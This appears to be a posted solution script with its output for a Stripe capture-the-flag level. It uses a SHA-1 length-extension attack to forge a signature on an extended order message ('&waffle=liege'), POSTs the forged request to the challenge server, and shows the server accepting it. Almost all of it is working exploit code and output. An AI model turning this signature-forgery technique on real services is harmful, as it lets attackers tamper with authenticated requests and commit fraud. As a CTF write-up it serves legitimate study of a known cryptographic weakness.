Created
August 27, 2012 20:52
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#!/usr/bin/env python | |
# first, download the code from http://www.vnsecurity.net/2010/03/codegate_challenge15_sha1_padding_attack/ | |
import json | |
import sys | |
import urllib | |
import requests | |
import hashlib | |
from shaext import shaext | |
orig_msg = 'count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo' | |
orig_sig = 'dfc3883e2fe62c923b3fe820f42c8207d1edd853' | |
keylen = 14 | |
add_msg = '&waffle=liege' | |
ext = shaext(orig_msg, keylen, orig_sig) | |
ext.add(add_msg) | |
(new_msg, new_sig) = ext.final() | |
print "new msg: " + repr(new_msg) | |
print "new sig: " + new_sig | |
query = new_msg + '|sig:' + new_sig | |
print '\n' + repr(query) | |
resp = requests.post('https://level07-2.stripe-ctf.com/user-rvkvykcmms/orders', data=query) | |
print resp | |
print resp.text |
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Here's the output I got:
new msg: 'count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02(&waffle=liege'
new sig: 490cae06944662c2817c91eed297c7e682092302
'count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02(&waffle=liege|sig:490cae06944662c2817c91eed297c7e682092302'
<Response [200]>
{"confirm_code": "JYrdMNuLzQ", "message": "Great news: 10 liege waffles will soon be flying your way!", "success": true}